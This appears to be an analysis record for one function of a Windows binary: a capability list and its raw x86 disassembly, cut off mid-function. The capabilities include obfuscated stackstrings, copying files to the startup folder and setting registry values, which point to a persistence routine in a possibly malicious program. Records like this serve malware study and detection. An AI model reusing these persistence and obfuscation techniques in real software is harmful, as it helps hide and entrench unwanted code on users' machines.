Function at 0x4453d0
Capabilities:
Contain obfuscated stackstrings
Copy file
Create process on windows
Create shortcut via ishelllink
Get common file path
Get number of processors
Get session user name
Get startup folder
Parse pe header
Set registry value
Write file to startup folder

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5087eb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0xb08
xor eax, eax
push esi
mov dword [ebp - 0x24], eax
push edi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x4c], eax
sub esp, 0x18
mov dword [ebp - 4], 7
lea eax, [ebx + 8]
mov ecx, esp
push eax
call fcn.00466580
lea eax, [ebp - 0x608]
mov ecx, 0x5193b0
push eax
call fcn.00445360
push eax
lea ecx, [ebx + 8]
call fcn.00466400
lea ecx, [ebp - 0x608]
call fcn.00402670
mov ecx, 0x537120
call fcn.00463d70
test al, al
je 0x448311
mov ecx, 0x537120
call fcn.00463da0
test al, al
jne 0x448311
lea eax, [ebp - 0x4f8]
mov ecx, 0x537120
push eax
call fcn.00463c00
lea eax, [ebp - 0x648]
mov ecx, 0x537120
push eax
call fcn.00463b90
lea eax, [ebp - 0x648]
push eax
lea ecx, [ebp - 0x4f8]
call fcn.00467aa0
test al, al
jne 0x448311
nop dword [eax]
lea ecx, [ebp - 0x4f8]
call fcn.004632d0
lea ecx, [ebp - 0x1d8]
mov dword [ebp - 0x1d8], 0xf0c2f8f7
mov esi, eax
mov dword [ebp - 0x1d4], 0xc4cdfe
mov byte [ebp - 0x1d0], 1
call fcn.0040b8f0
push eax
mov ecx, esi
call fcn.0046a630
lea ecx, [ebp - 0x5f0]
push ecx
mov ecx, eax
call fcn.0046a770
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x1e2]
mov dword [ebp - 0x1e2], 0xf3c2f8f7
mov dword [ebp - 0x1de], 0xd1cad2fe
mov word [ebp - 0x1da], 0x100
call fcn.0040eeb0
push eax
mov ecx, esi
call fcn.0046a630
lea ecx, [ebp - 0x608]
push ecx
mov ecx, eax
call fcn.0046a770
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x18b]
mov dword [ebp - 0x18b], 0xf9c2f8f7
mov dword [ebp - 0x187], 0x100cffa
call fcn.00410590
push eax
mov ecx, esi
call fcn.0046a630
lea ecx, [ebp - 0x428]
push ecx
mov ecx, eax
call fcn.0046a770
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x193]
mov dword [ebp - 0x193], 0xebc2f8f7
mov dword [ebp - 0x18f], 0x100cced
call fcn.00410590
push eax
mov ecx, esi
call fcn.0046a630
lea ecx, [ebp - 0x5d8]
push ecx
mov ecx, eax
call fcn.0046a770
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x41]
movaps xmm0, xmmword [0x5273f0]
movups xmmword [ebp - 0x41], xmm0
mov dword [ebp - 0x31], 0xd4dedf
mov byte [ebp - 0x2d], 1
call fcn.0040ef70
push eax
mov ecx, esi
call fcn.0046a630
mov ecx, eax
call fcn.0046a8a0
movaps xmm0, xmmword [0x526d20]
lea ecx, [ebp - 0x42]
mov byte [ebp - 0x50], al
movups xmmword [ebp - 0x42], xmm0
mov dword [ebp - 0x32], 0xdcc8c0de
mov word [ebp - 0x2e], 0x100
call fcn.0040f000
push eax
mov ecx, esi
call fcn.0046a630
mov ecx, eax
call fcn.0046a8a0
mov byte [ebp - 0x51], al
movaps xmm0, xmmword [0x526910]
lea ecx, [ebp - 0x3e]
movups xmmword [ebp - 0x3e], xmm0
mov word [ebp - 0x2e], 0x100
call fcn.0040ee50
push eax
mov ecx, esi
call fcn.0046a630
mov ecx, eax
call fcn.0046a8a0
mov byte [ebp - 0x52], al
lea ecx, [ebp - 0x428]
lea eax, [ebp - 0x578]
push eax
call fcn.004660d0
lea ecx, [ebp - 0x428]
mov edi, dword [eax]
lea eax, [ebp - 0x574]
push eax
call fcn.004660b0
lea ecx, [ebp - 0x428]
mov esi, dword [eax]
lea eax, [ebp - 0x570]
push eax
call fcn.004660d0
push edi
push esi
mov edx, fcn.004e358e
lea ecx, [ebp - 0x26c]
push dword [eax]
call fcn.0046b0b0
add esp, 0xc
mov word [ebp - 0x2b], 0xbb
lea ecx, [ebp - 0x2b]
mov byte [ebp - 0x29], 1
call fcn.004638b0
lea ecx, [ebp - 0x428]
call fcn.004027b0
lea ecx, [ebp - 0x2b]
push ecx
push eax
call fcn.004dee80
add esp, 8
test eax, eax
je 0x4457a4
push dword [ebp - 0x26c]
lea ecx, [ebp - 0x258]
call fcn.00402850
push 0
push 0x5214b8
lea ecx, [ebp - 0x258]
mov byte [ebp - 4], 0xc
call fcn.00402870
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x5b]
mov word [ebp - 0x5b], 0xbb
mov byte [ebp - 0x59], 1
call fcn.004638b0
push dword [ebp - 0x26c]
lea ecx, [ebp - 0x2d4]
call fcn.00402850
lea ecx, [ebp - 0x5b]
mov byte [ebp - 4], 0xe
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x445720
sub ecx, edx
lea eax, [ebp - 0x5b]
push ecx
push eax
lea ecx, [ebp - 0x2d4]
call fcn.00402870
lea eax, [ebp - 0x258]
mov byte [ebp - 4], 0xf
push eax
lea edx, [ebp - 0x2d4]
lea ecx, [ebp - 0x428]
call fcn.0040c770
add esp, 4
lea ecx, [ebp - 0x2d4]
call fcn.00402670
lea ecx, [ebp - 0x258]
mov byte [ebp - 4], 0xb
call fcn.00402670
lea ecx, [ebp - 0x2b]
mov word [ebp - 0x2b], 0xbb
mov byte [ebp - 0x29], 1
call fcn.004638b0
lea ecx, [ebp - 0x428]
call fcn.004027b0
lea ecx, [ebp - 0x2b]
push ecx
push eax
call fcn.004dee80
add esp, 8
test eax, eax
jne 0x4456c1
sub esp, 0x18
mov byte [ebp - 0x11], 0
lea ecx, [ebp - 0xe1]
mov word [ebp - 0xe1], 0xb7
mov byte [ebp - 0xdf], 1
mov esi, esp
mov dword [ebp - 0x20], esp
call fcn.0040a450
push eax
mov ecx, esi
call fcn.00402710
sub esp, 0x18
mov byte [ebp - 4], 0x10
lea eax, [ebp - 0x428]
mov ecx, esp
push eax
call fcn.00466580
lea ecx, [ebp - 0x2e0]
mov byte [ebp - 4], 0xb
call fcn.0040c470
add esp, 0x30
lea ecx, [ebp - 0x2e0]
mov byte [ebp - 4], 0x11
xor esi, esi
call fcn.004651c0
test eax, eax
je 0x445840
nop
push esi
lea ecx, [ebp - 0x2e0]
call fcn.004651a0
lea edx, [ebx + 8]
mov ecx, eax
call fcn.0046a600
test al, al
jne 0x44583c
lea ecx, [ebp - 0x2e0]
inc esi
call fcn.004651c0
cmp esi, eax
jb 0x445810
jmp 0x445840
mov byte [ebp - 0x11], 1
mov ecx, dword [ebp - 0x2dc]
mov eax, 0x2aaaaaab
sub ecx, dword [ebp - 0x2e0]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x445869
cmp byte [ebp - 0x11], 0
je 0x4482b1
sub esp, 0x18
mov byte [ebp - 0x1c], 0
lea ecx, [ebp - 0xde]
mov word [ebp - 0xde], 0xb7
mov byte [ebp - 0xdc], 1
mov esi, esp
mov dword [ebp - 0x20], esp
call fcn.0040a450
push eax
mov ecx, esi
call fcn.00402710
sub esp, 0x18
mov byte [ebp - 4], 0x12
lea eax, [ebp - 0x608]
mov ecx, esp
push eax
call fcn.00466580
lea ecx, [ebp - 0x370]
mov byte [ebp - 4], 0x11
call fcn.0040c470
add esp, 0x30
xor ecx, ecx
mov byte [ebp - 4], 0x13
mov edi, dword [ebp - 0x36c]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x370]
mov dword [ebp - 0x48], ecx
mov ecx, edi
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x446aa2
nop
mov edi, dword [ebp - 0x48]
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x20], esp
lea eax, [edi + edi*2]
lea eax, [esi + eax*8]
push eax
call fcn.00466580
sub esp, 0x10
mov byte [ebp - 4], 0x14
lea eax, [ebx + 0x20]
mov ecx, esp
push eax
call fcn.00464080
lea ecx, [ebp - 0x3a8]
mov byte [ebp - 4], 0x13
call fcn.004140d0
add esp, 0x28
xor edx, edx
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x3a8]
call fcn.0046a860
test al, al
je 0x446a65
movaps xmm0, xmmword [0x526640]
lea ecx, [ebp - 0x40]
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x30], 0x100dfce
call fcn.00463580
lea eax, [ebp - 0x40]
push eax
lea ecx, [ebp - 0x3a8]
call fcn.0046a630
lea edx, [ebp - 0x4d]
mov ecx, eax
call fcn.0047a2d0
movaps xmm0, xmmword [0x527640]
lea ecx, [ebp - 0x42]
movups xmmword [ebp - 0x42], xmm0
mov dword [ebp - 0x32], 0xddc9dec4
mov word [ebp - 0x2e], 0x100
call fcn.00463490
lea eax, [ebp - 0x42]
push eax
lea ecx, [ebp - 0x3a8]
call fcn.0046a630
lea edx, [ebp - 0x4e]
mov ecx, eax
call fcn.0047a2d0
movaps xmm0, xmmword [0x5268a0]
lea ecx, [ebp - 0x40]
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x30], 0x100d5d9
call fcn.00463580
lea eax, [ebp - 0x40]
push eax
lea ecx, [ebp - 0x3a8]
call fcn.0046a630
lea edx, [ebp - 0x4f]
mov ecx, eax
call fcn.0047a2d0
lea ecx, [ebp - 0x17b]
mov dword [ebp - 0x17b], 0xf5effdf6
mov dword [ebp - 0x177], 0xcfcec4c0
mov dword [ebp - 0x173], 0xd5cbcdc2
mov word [ebp - 0x16f], 0x100
call fcn.004635b0
lea eax, [ebp - 0x17b]
push eax
lea ecx, [ebp - 0x3a8]
call fcn.0046a630
lea ecx, [ebp - 0x258]
push ecx
mov ecx, eax
call fcn.0046a770
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x5e]
mov word [ebp - 0x5e], 0xb7
mov byte [ebp - 0x5c], 1
call fcn.004638b0
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x20], esp
mov dword [ebp - 0x58], esi
mov ecx, esi
push dword [ebp - 0x58]
call fcn.00402850
lea ecx, [ebp - 0x5e]
mov byte [ebp - 4], 0x17
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x445a70
sub ecx, edx
lea eax, [ebp - 0x5e]
push ecx
push eax
mov ecx, esi
call fcn.00402870
sub esp, 0x18
mov byte [ebp - 4], 0x18
lea eax, [ebp - 0x258]
mov ecx, esp
push eax
call fcn.00466580
lea ecx, [ebp - 0x31c]
mov byte [ebp - 4], 0x16
call fcn.0040c470
add esp, 0x30
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x1ab]
mov byte [ebp - 0x11], 0
mov dword [ebp - 0x1ab], 0xf5effdf6
mov dword [ebp - 0x1a7], 0xd7cec3c0
mov dword [ebp - 0x1a3], 0xcfd7d0cd
mov dword [ebp - 0x19f], 0x100dbc2
call fcn.00463430
lea eax, [ebp - 0x1ab]
push eax
lea ecx, [ebp - 0x3a8]
call fcn.0046a630
lea ecx, [ebp - 0x2d4]
push ecx
mov ecx, eax
call fcn.0046a770
mov byte [ebp - 4], 0x1a
cmp dword [ebp - 0x2c4], 0
je 0x445be7
sub esp, 0x18
mov word [ebp - 0xdb], 0xb7
lea ecx, [ebp - 0xdb]
mov byte [ebp - 0xd9], 1
mov esi, esp
mov dword [ebp - 0x20], esp
call fcn.0040a450
push eax
mov ecx, esi
call fcn.00402710
sub esp, 0x18
mov byte [ebp - 4], 0x1b
lea eax, [ebp - 0x2d4]
mov ecx, esp
push eax
call fcn.00466580
lea ecx, [ebp - 0x358]
mov byte [ebp - 4], 0x1a
call fcn.0040c470
mov esi, dword [ebp - 0x358]
xor ecx, ecx
mov dword [ebp - 0x7c], ecx
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0x354]
add esp, 0x30
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x445bd2
xor edi, edi
lea eax, [ebx + 8]
lea ecx, [esi + edi]
push eax
call fcn.0046dda0
test al, al
jne 0x445bce
mov ecx, dword [ebp - 0x354]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x358]
add edi, 0x18
inc dword [ebp - 0x7c]
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp dword [ebp - 0x7c], eax
jb 0x445b92
jmp 0x445bd2
mov byte [ebp - 0x11], 1
lea ecx, [ebp - 0x358]
call fcn.00468770
cmp byte [ebp - 0x11], 0
je 0x446a41
cmp dword [ebp - 0x248], 0
je 0x446a3d
cmp byte [ebp - 0x4d], 0
je 0x44627d
lea ecx, [ebx + 0x30]
call fcn.00463b60
test eax, eax
je 0x445f29
lea eax, [ebp - 0x38c]
push eax
lea ecx, [ebx + 0x30]
call fcn.0046a920
lea eax, [ebp - 0x230]
mov byte [ebp - 4], 0x1c
push eax
lea ecx, [ebp - 0x38c]
call fcn.00463990
lea eax, [ebp - 0x25d]
push eax
lea ecx, [ebp - 0x38c]
call fcn.00463980
mov eax, dword [ebp - 0x230]
cmp byte [eax + 0xd], 0
jne 0x445f1a
cmp byte [ebp - 0x1c], 0
jne 0x445f1a
lea esi, [eax + 0x28]
mov ecx, esi
call fcn.00463da0
test al, al
jne 0x445eff
mov ecx, esi
call fcn.00463b60
test eax, eax
je 0x445eff
lea eax, [ebp - 0x4d8]
mov ecx, esi
push eax
call fcn.00463c00
lea eax, [ebp - 0x618]
mov ecx, esi
push eax
call fcn.00463b90
lea eax, [ebp - 0x618]
push eax
lea ecx, [ebp - 0x4d8]
call fcn.00467aa0
test al, al
jne 0x445eff
nop word [eax + eax]
lea ecx, [ebp - 0x4d8]
call fcn.004632d0
cmp byte [ebp - 0x1c], 0
jne 0x445eff
lea ecx, [ebp - 0x37c]
push ecx
mov ecx, eax
call fcn.0046a920
lea eax, [ebp - 0x22c]
mov byte [ebp - 4], 0x1d
push eax
lea ecx, [ebp - 0x37c]
call fcn.00463990
lea eax, [ebp - 0x225]
push eax
lea ecx, [ebp - 0x37c]
call fcn.00463980
mov eax, dword [ebp - 0x22c]
cmp byte [eax + 0xd], 0
jne 0x445ecb
nop dword [eax + eax]
cmp byte [ebp - 0x1c], 0
jne 0x445ecb
lea esi, [eax + 0x28]
mov ecx, esi
call fcn.00463b60
test eax, eax
je 0x445eb0
lea eax, [ebp - 0x4c8]
mov ecx, esi
push eax
call fcn.00463c00
lea eax, [ebp - 0x638]
mov ecx, esi
push eax
call fcn.00463b90
lea eax, [ebp - 0x638]
push eax
lea ecx, [ebp - 0x4c8]
call fcn.00467aa0
test al, al
jne 0x445eb0
lea ecx, [ebp - 0x4c8]
call fcn.004632d0
cmp byte [ebp - 0x1c], 0
mov esi, eax
jne 0x445eb0
push dword [ebp - 0x58]
lea ecx, [ebp - 0xb4]
call fcn.00402850
push 0
push 0x5214b8
lea ecx, [ebp - 0xb4]
mov byte [ebp - 4], 0x1e
call fcn.00402870
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0xec]
mov dword [ebp - 0xec], 0xfff0f3ff
mov dword [ebp - 0xe8], 0x100cef6
call fcn.004633d0
lea eax, [ebp - 0xec]
mov ecx, esi
push eax
call fcn.0046a630
cmp byte [eax], 0
je 0x445e16
lea ecx, [ebp - 0x183]
mov dword [ebp - 0x183], 0xfff0f3ff
mov dword [ebp - 0x17f], 0x100cef6
call fcn.00410590
push eax
mov ecx, esi
call fcn.0046a630
push eax
lea ecx, [ebp - 0xb4]
call fcn.0046a9b0
lea ecx, [ebp - 0x6b]
mov word [ebp - 0x6b], 0xb5
mov byte [ebp - 0x69], 1
call fcn.004638b0
sub esp, 0x18
lea eax, [ebp - 0xb4]
mov ecx, esp
mov dword [ebp - 0x20], esp
lea edx, [ebp - 0x6b]
push eax
call fcn.0046a380
sub esp, 8
mov byte [ebp - 4], 0x20
lea eax, [ebp - 0x31c]
mov byte [ebp - 0x11], 0
mov ecx, esp
push eax
call fcn.004652c0
mov cl, byte [ebp - 0x11]
mov byte [ebp - 4], 0x1f
call fcn.00414330
mov cl, al
mov byte [ebp - 4], 0x1d
mov eax, dword [ebp - 0x1c]
add esp, 0x24
test cl, cl
movzx eax, al
mov ecx, 1
cmovne eax, ecx
lea ecx, [ebp - 0xb4]
mov dword [ebp - 0x1c], eax
call fcn.00402670
lea ecx, [ebp - 0x4c8]
call fcn.00463280
lea eax, [ebp - 0x638]
push eax
lea ecx, [ebp - 0x4c8]
call fcn.00467aa0
test al, al
je 0x445d72
lea ecx, [ebp - 0x22c]
call fcn.00467a30
mov eax, dword [ebp - 0x22c]
cmp byte [eax + 0xd], 0
je 0x445d20
lea ecx, [ebp - 0x37c]
mov byte [ebp - 4], 0x1c
call fcn.0041c330
lea ecx, [ebp - 0x4d8]
call fcn.00463280
lea eax, [ebp - 0x618]
push eax
lea ecx, [ebp - 0x4d8]
call fcn.00467aa0
test al, al
je 0x445cc0
lea ecx, [ebp - 0x230]
call fcn.00467a30
mov eax, dword [ebp - 0x230]
cmp byte [eax + 0xd], 0
je 0x445c55
lea ecx, [ebp - 0x38c]
mov byte [ebp - 4], 0x1a
call fcn.0041c330
mov eax, dword [ebp - 0x1c]
test al, al
jne 0x446280
lea ecx, [ebx + 0x40]
call fcn.00463b60
test eax, eax
je 0x44627d
lea eax, [ebp - 0x384]
push eax
lea ecx, [ebx + 0x40]
call fcn.0046a920
lea eax, [ebp - 0x238]
mov byte [ebp - 4], 0x21
push eax
lea ecx, [ebp - 0x384]
call fcn.00463990
lea eax, [ebp - 0x226]
push eax
lea ecx, [ebp - 0x384]
call fcn.00463980
mov eax, dword [ebp - 0x238]
cmp byte [eax + 0xd], 0
jne 0x446272
nop dword [eax + eax]
cmp byte [ebp - 0x1c], 0
jne 0x446272
cmp byte [eax + 0x28], 0
lea esi, [eax + 0x28]
je 0x446257
mov ecx, esi
call fcn.00463b60
test eax, eax
je 0x446257
lea eax, [ebp - 0x4e8]
mov ecx, esi
push eax
call fcn.00463c00
lea eax, [ebp - 0x628]
mov ecx, esi
push eax
call fcn.00463b90
lea eax, [ebp - 0x628]
push eax
lea ecx, [ebp - 0x4e8]
call fcn.00467aa0
test al, al
jne 0x446257
mov edi, dword [ebp - 0x4c]
nop
lea ecx, [ebp - 0x4e8]
call fcn.004632d0
cmp byte [ebp - 0x1c], 0
mov esi, eax
jne 0x446257
lea ecx, [ebp - 0x394]
mov byte [ebp - 4], 0x22
call fcn.0046d880
or edi, 0x40
lea edx, [ebp - 0x394]
mov ecx, esi
mov dword [ebp - 0x4c], edi
call fcn.0047a350
mov eax, dword [ebp - 0x394]
lea ecx, [ebp - 0x234]
push 0
push dword [eax]
call fcn.00467a90
mov eax, dword [ebp - 0x234]
cmp byte [eax + 0xd], 0
jne 0x44621d
mov edi, 1
cmp byte [ebp - 0x1c], 0
jne 0x44621a
lea esi, [eax + 0x28]
mov ecx, esi
call fcn.00463b60
test eax, eax
je 0x4461ff
push esi
lea ecx, [ebp - 0x438]
call fcn.00467bd0
lea ecx, [ebp - 0x438]
call fcn.00467b90
push esi
lea ecx, [ebp - 0x56c]
call fcn.00467bd0
lea ecx, [ebp - 0x56c]
call fcn.00467b60
lea eax, [ebp - 0x56c]
push eax
lea ecx, [ebp - 0x438]
call fcn.00467aa0
test al, al
jne 0x4461ff
nop word [eax + eax]
lea ecx, [ebp - 0x438]
call fcn.004632d0
cmp byte [ebp - 0x1c], 0
mov esi, eax
jne 0x4461ff
push dword [ebp - 0x58]
lea ecx, [ebp - 0xb4]
call fcn.00402850
push 0
push 0x5214b8
lea ecx, [ebp - 0xb4]
mov byte [ebp - 4], 0x23
call fcn.00402870
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0xfc]
mov dword [ebp - 0xfc], 0xfff0f3ff
mov dword [ebp - 0xf8], 0x100cef6
call fcn.004633d0
lea eax, [ebp - 0xfc]
mov ecx, esi
push eax
call fcn.0046a630
cmp byte [eax], 0
je 0x44616a
lea ecx, [ebp - 0xf4]
mov dword [ebp - 0xf4], 0xfff0f3ff
mov dword [ebp - 0xf0], 0x100cef6
call fcn.004633d0
lea eax, [ebp - 0xf4]
mov ecx, esi
push eax
call fcn.0046a630
push eax
lea ecx, [ebp - 0xb4]
call fcn.00471660
lea ecx, [ebp - 0x6e]
mov word [ebp - 0x6e], 0xb5
mov byte [ebp - 0x6c], 1
call fcn.004638b0
sub esp, 0x18
lea eax, [ebp - 0xb4]
mov ecx, esp
mov dword [ebp - 0x20], esp
lea edx, [ebp - 0x6e]
push eax
call fcn.0046a380
sub esp, 8
mov byte [ebp - 4], 0x25
lea eax, [ebp - 0x31c]
mov byte [ebp - 0x11], 0
mov ecx, esp
push eax
call fcn.004652c0
mov cl, byte [ebp - 0x11]
mov byte [ebp - 4], 0x24
call fcn.00414330
mov cl, al
mov byte [ebp - 4], 0x22
mov eax, dword [ebp - 0x1c]
add esp, 0x24
test cl, cl
movzx eax, al
lea ecx, [ebp - 0xb4]
cmovne eax, edi
mov byte [ebp - 0x1c], al
call fcn.00402670
lea ecx, [ebp - 0x438]
call fcn.00463280
lea eax, [ebp - 0x56c]
push eax
lea ecx, [ebp - 0x438]
call fcn.00467aa0
test al, al
je 0x4460c0
lea ecx, [ebp - 0x234]
call fcn.00467a30
mov eax, dword [ebp - 0x234]
cmp byte [eax + 0xd], 0
je 0x446053
mov edi, dword [ebp - 0x4c]
and edi, 0xffffffbf
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x394]
mov dword [ebp - 0x4c], edi
call fcn.0041c330
lea ecx, [ebp - 0x4e8]
call fcn.00463280
lea eax, [ebp - 0x628]
push eax
lea ecx, [ebp - 0x4e8]
call fcn.00467aa0
test al, al
je 0x445ff0
lea ecx, [ebp - 0x238]
call fcn.00467a30
mov eax, dword [ebp - 0x238]
cmp byte [eax + 0xd], 0
je 0x445f90
lea ecx, [ebp - 0x384]
call fcn.0041c330
mov eax, dword [ebp - 0x1c]
cmp byte [ebp - 0x4e], 0
je 0x4466c5
test al, al
jne 0x4466c5
lea ecx, [ebx + 0x50]
call fcn.00463b60
test eax, eax
je 0x44649d
lea ecx, [ebp - 0x344]
mov byte [ebp - 4], 0x26
call fcn.0046d880
mov esi, dword [ebp - 0x4c]
lea edx, [ebp - 0x344]
or esi, 0x80
lea ecx, [ebx + 0x50]
mov dword [ebp - 0x4c], esi
call fcn.0047a350
mov eax, dword [ebp - 0x344]
lea ecx, [ebp - 0x264]
push 0
push dword [eax]
call fcn.00467a90
mov eax, dword [ebp - 0x264]
cmp byte [eax + 0xd], 0
jne 0x446489
cmp byte [ebp - 0x1c], 0
jne 0x446486
lea esi, [eax + 0x28]
push esi
lea ecx, [ebp - 0x448]
call fcn.00467bd0
lea ecx, [ebp - 0x448]
call fcn.00467b90
push esi
lea ecx, [ebp - 0x544]
call fcn.00467bd0
lea ecx, [ebp - 0x544]
call fcn.00467b60
lea eax, [ebp - 0x544]
push eax
lea ecx, [ebp - 0x448]
call fcn.00467aa0
test al, al
jne 0x44646b
lea ecx, [ebp - 0x448]
call fcn.004632d0
cmp byte [ebp - 0x1c], 0
mov esi, eax
jne 0x44646b
push dword [ebp - 0x58]
lea ecx, [ebp - 0xb4]
call fcn.00402850
push 0
push 0x5214b8
lea ecx, [ebp - 0xb4]
mov byte [ebp - 4], 0x27
call fcn.00402870
mov byte [ebp - 4], 0x28
lea ecx, [ebp - 0x81]
mov dword [ebp - 0x81], 0xf1eeee
mov byte [ebp - 0x7d], 1
call fcn.00463950
lea eax, [ebp - 0x81]
mov ecx, esi
push eax
call fcn.0046a630
cmp byte [eax], 0
je 0x4463e6
lea ecx, [ebp - 0x9a]
mov dword [ebp - 0x9a], 0xf1eeee
mov byte [ebp - 0x96], 1
call fcn.00463950
lea eax, [ebp - 0x9a]
mov ecx, esi
push eax
call fcn.0046a630
push eax
lea ecx, [ebp - 0xb4]
call fcn.00471660
sub esp, 0x18
lea eax, [ebp - 0xb4]
mov ecx, esp
mov dword [ebp - 0x20], esp
push eax
call fcn.00466580
sub esp, 0xc
mov byte [ebp - 4], 0x29
lea eax, [ebp - 0x31c]
mov byte [ebp - 0x11], 1
mov ecx, esp
push eax
call fcn.004652c0
mov cl, byte [ebp - 0x11]
mov byte [ebp - 4], 0x28
call fcn.00414330
mov cl, al
mov byte [ebp - 4], 0x26
mov eax, dword [ebp - 0x1c]
add esp, 0x24
test cl, cl
movzx eax, al
mov ecx, 1
cmovne eax, ecx
lea ecx, [ebp - 0xb4]
mov byte [ebp - 0x1c], al
call fcn.00402670
lea ecx, [ebp - 0x448]
call fcn.00463280
lea eax, [ebp - 0x544]
push eax
lea ecx, [ebp - 0x448]
call fcn.00467aa0
test al, al
je 0x446345
lea ecx, [ebp - 0x264]
call fcn.00467a30
mov eax, dword [ebp - 0x264]
cmp byte [eax + 0xd], 0
je 0x4462f0
mov esi, dword [ebp - 0x4c]
and esi, 0xffffff7f
lea ecx, [ebp - 0x344]
mov dword [ebp - 0x4c], esi
call fcn.0041c330
mov eax, dword [ebp - 0x1c]
test al, al
jne 0x4466c5
lea ecx, [ebx + 0x60]
call fcn.00463b60
test eax, eax
je 0x4466c5
lea ecx, [ebp - 0x34c]
mov byte [ebp - 4], 0x2a
call fcn.0046d880
mov esi, dword [ebp - 0x18]
lea edx, [ebp - 0x34c]
or esi, 0x400000
lea ecx, [ebx + 0x60]
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x24], esi
call fcn.0047a350
mov eax, dword [ebp - 0x34c]
lea ecx, [ebp - 0x23c]
push 0
push dword [eax]
call fcn.00467a90
mov eax, dword [ebp - 0x23c]
cmp byte [eax + 0xd], 0
jne 0x4466ac
nop dword [eax]
cmp byte [ebp - 0x1c], 0
jne 0x4466a9
lea esi, [eax + 0x28]
push esi
lea ecx, [ebp - 0x458]
call fcn.00467bd0
lea ecx, [ebp - 0x458]
call fcn.00467b90
push esi
lea ecx, [ebp - 0x5a0]
call fcn.00467bd0
lea ecx, [ebp - 0x5a0]
call fcn.00467b60
lea eax, [ebp - 0x5a0]
push eax
lea ecx, [ebp - 0x458]
call fcn.00467aa0
test al, al
jne 0x44668e
lea ecx, [ebp - 0x458]
call fcn.004632d0
cmp byte [ebp - 0x1c], 0
mov esi, eax
jne 0x44668e
push dword [ebp - 0x58]
lea ecx, [ebp - 0xb4]
call fcn.00402850
push 0
push 0x5214b8
lea ecx, [ebp - 0xb4]
mov byte [ebp - 4], 0x2b
call fcn.00402870
mov byte [ebp - 4], 0x2c
lea ecx, [ebp - 0x86]
mov dword [ebp - 0x86], 0xf1eeee
mov byte [ebp - 0x82], 1
call fcn.00463950
lea eax, [ebp - 0x86]
mov ecx, esi
push eax
call fcn.0046a630
cmp byte [eax], 0
je 0x446609
lea ecx, [ebp - 0x8b]
mov dword [ebp - 0x8b], 0xf1eeee
mov byte [ebp - 0x87], 1
call fcn.00463950
lea eax, [ebp - 0x8b]
mov ecx, esi
push eax
call fcn.0046a630
push eax
lea ecx, [ebp - 0xb4]
call fcn.00471660
sub esp, 0x18
lea eax, [ebp - 0xb4]
mov ecx, esp
mov dword [ebp - 0x20], esp
push eax
call fcn.00466580
sub esp, 0xc
mov byte [ebp - 4], 0x2d
lea eax, [ebp - 0x31c]
mov byte [ebp - 0x11], 1
mov ecx, esp
push eax
call fcn.004652c0
mov cl, byte [ebp - 0x11]
mov byte [ebp - 4], 0x2c
call fcn.00414330
mov cl, al
mov byte [ebp - 4], 0x2a
mov eax, dword [ebp - 0x1c]
add esp, 0x24
test cl, cl
movzx eax, al
mov ecx, 1
cmovne eax, ecx
lea ecx, [ebp - 0xb4]
mov byte [ebp - 0x1c], al
call fcn.00402670
lea ecx, [ebp - 0x458]
call fcn.00463280
lea eax, [ebp - 0x5a0]
push eax
lea ecx, [ebp - 0x458]
call fcn.00467aa0
test al, al
je 0x446565
lea ecx, [ebp - 0x23c]
call fcn.00467a30
mov eax, dword [ebp - 0x23c]
cmp byte [eax + 0xd], 0
je 0x446510
mov esi, dword [ebp - 0x18]
and esi, 0xffbfffff
lea ecx, [ebp - 0x34c]
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x24], esi
call fcn.0041c330
jmp 0x4466c8
mov esi, dword [ebp - 0x18]
cmp byte [ebp - 0x4f], 0
je 0x446a41
cmp byte [ebp - 0x1c], 0
jne 0x446a41
lea ecx, [ebx + 0x70]
call fcn.00463b60
test eax, eax
je 0x446a41
lea ecx, [ebp - 0x3b0]
mov byte [ebp - 4], 0x2e
call fcn.0046d880
or esi, 0x100000
lea edx, [ebp - 0x3b0]
lea ecx, [ebx + 0x70]
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x24], esi
call fcn.0047a350
mov eax, dword [ebp - 0x3b0]
lea ecx, [ebp - 0x25c]
push 0
push dword [eax]
call fcn.00467a90
mov eax, dword [ebp - 0x25c]
cmp byte [eax + 0xd], 0
jne 0x446a24
nop word [eax + eax]
cmp byte [ebp - 0x1c], 0
jne 0x446a21
cmp byte [eax + 0x28], 0
lea esi, [eax + 0x28]
je 0x446a06
mov ecx, esi
call fcn.00463b60
test eax, eax
je 0x446a06
push esi
lea ecx, [ebp - 0x410]
call fcn.00467bd0
lea ecx, [ebp - 0x410]
call fcn.00467b90
push esi
lea ecx, [ebp - 0x5c0]
call fcn.00467bd0
